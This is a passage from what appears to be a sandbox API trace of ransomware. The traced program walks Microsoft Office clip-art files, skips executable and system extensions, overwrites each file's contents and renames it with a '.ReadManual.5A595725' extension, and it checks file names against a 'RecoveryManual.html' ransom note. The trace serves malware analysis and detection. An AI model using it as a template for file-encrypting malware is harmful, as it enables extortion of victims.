[0270.434] CloseHandle (hObject=0x184) returned 1 [0270.434] SetSecurityInfo () returned 0x57 [0270.434] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.434] CloseHandle (hObject=0x194) returned 1 [0270.434] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x580ec000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x580ec000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00388_.WMF", cAlternateFileName="")) returned 1 [0270.434] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00388_.WMF" | out: lpString1="NA00388_.WMF") returned="NA00388_.WMF" [0270.434] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.434] StrStrIW (lpFirst="NA00388_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.434] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.434] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.434] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.434] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.434] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.434] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.434] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.434] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.434] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.434] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.434] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.434] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.434] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.434] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.434] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" [0270.434] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.ReadManual.5A595725" [0270.434] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.ReadManual.5A595725") returned 87 [0270.434] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39110323724) returned 1 [0270.435] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf")) returned 0x20 [0270.435] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.435] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4466) returned 1 [0270.435] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1172, lpName=0x0) returned 0x184 [0270.435] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.436] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.436] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.438] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.438] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1172) returned 0x2f0000 [0270.438] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.438] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39110705687) returned 1 [0270.438] CloseHandle (hObject=0x184) returned 1 [0270.438] SetSecurityInfo () returned 0x57 [0270.439] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.439] CloseHandle (hObject=0x194) returned 1 [0270.439] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c25e800, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c25e800, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x20ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00389_.WMF", cAlternateFileName="")) returned 1 [0270.439] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00389_.WMF" | out: lpString1="NA00389_.WMF") returned="NA00389_.WMF" [0270.439] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.439] StrStrIW (lpFirst="NA00389_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.439] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.439] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.439] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.439] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.439] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.439] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.439] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.439] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.439] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.439] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.439] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.439] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.439] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.439] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.439] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" [0270.439] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.ReadManual.5A595725" [0270.439] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.ReadManual.5A595725") returned 87 [0270.439] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39110803353) returned 1 [0270.439] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf")) returned 0x20 [0270.440] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.440] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8394) returned 1 [0270.440] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20ca, lpName=0x0) returned 0x184 [0270.441] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.441] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.441] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.443] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.443] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20ca) returned 0x2f0000 [0270.443] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.444] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39111236822) returned 1 [0270.444] CloseHandle (hObject=0x184) returned 1 [0270.444] SetSecurityInfo () returned 0x57 [0270.444] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.444] CloseHandle (hObject=0x194) returned 1 [0270.444] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af4bb00, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5af4bb00, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00390_.WMF", cAlternateFileName="")) returned 1 [0270.444] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00390_.WMF" | out: lpString1="NA00390_.WMF") returned="NA00390_.WMF" [0270.444] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.444] StrStrIW (lpFirst="NA00390_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.444] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.444] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.444] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.444] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.444] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.444] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.444] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.444] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.444] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.444] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.444] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.444] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.444] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.444] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.444] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" [0270.444] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.ReadManual.5A595725" [0270.444] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.ReadManual.5A595725") returned 87 [0270.445] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39111329687) returned 1 [0270.445] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf")) returned 0x20 [0270.445] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.445] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8642) returned 1 [0270.445] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21c2, lpName=0x0) returned 0x184 [0270.445] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.446] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.446] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.448] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.448] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x21c2) returned 0x2f0000 [0270.448] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.448] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39111697261) returned 1 [0270.448] CloseHandle (hObject=0x184) returned 1 [0270.448] SetSecurityInfo () returned 0x57 [0270.448] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.448] CloseHandle (hObject=0x194) returned 1 [0270.449] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde161100, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde161100, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00391_.WMF", cAlternateFileName="")) returned 1 [0270.449] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00391_.WMF" | out: lpString1="NA00391_.WMF") returned="NA00391_.WMF" [0270.449] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.449] StrStrIW (lpFirst="NA00391_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.449] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.449] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.449] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.449] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.449] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.449] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.449] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.449] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.449] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.449] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.449] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.449] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.449] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.449] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.449] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" [0270.449] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.ReadManual.5A595725" [0270.449] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.ReadManual.5A595725") returned 87 [0270.449] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39111793441) returned 1 [0270.449] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf")) returned 0x20 [0270.449] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.450] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8684) returned 1 [0270.450] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21ec, lpName=0x0) returned 0x184 [0270.450] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.451] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.451] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.452] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.452] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x21ec) returned 0x2f0000 [0270.453] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.453] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39112152761) returned 1 [0270.453] CloseHandle (hObject=0x184) returned 1 [0270.453] SetSecurityInfo () returned 0x57 [0270.453] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.453] CloseHandle (hObject=0x194) returned 1 [0270.453] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e62400, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24e62400, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2ad4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00394_.WMF", cAlternateFileName="")) returned 1 [0270.453] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00394_.WMF" | out: lpString1="NA00394_.WMF") returned="NA00394_.WMF" [0270.453] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.453] StrStrIW (lpFirst="NA00394_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.453] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.453] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.453] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.453] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.453] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.453] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.453] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.453] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.453] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.453] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.453] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.454] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.454] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.454] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.454] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" [0270.454] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.ReadManual.5A595725" [0270.454] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.ReadManual.5A595725") returned 87 [0270.454] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39112250252) returned 1 [0270.454] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf")) returned 0x20 [0270.455] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.455] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10964) returned 1 [0270.455] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ad4, lpName=0x0) returned 0x184 [0270.455] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.456] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.456] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.457] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.458] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ad4) returned 0x2f0000 [0270.458] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.458] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39112671236) returned 1 [0270.458] CloseHandle (hObject=0x184) returned 1 [0270.458] SetSecurityInfo () returned 0x57 [0270.458] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.458] CloseHandle (hObject=0x194) returned 1 [0270.458] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c22fe00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c22fe00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x194a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00395_.WMF", cAlternateFileName="")) returned 1 [0270.458] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00395_.WMF" | out: lpString1="NA00395_.WMF") returned="NA00395_.WMF" [0270.458] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.458] StrStrIW (lpFirst="NA00395_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.458] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.458] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.458] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.458] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.459] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.459] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.459] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.459] StrCmpIW (psz1="WMF", psz2="bat") returned 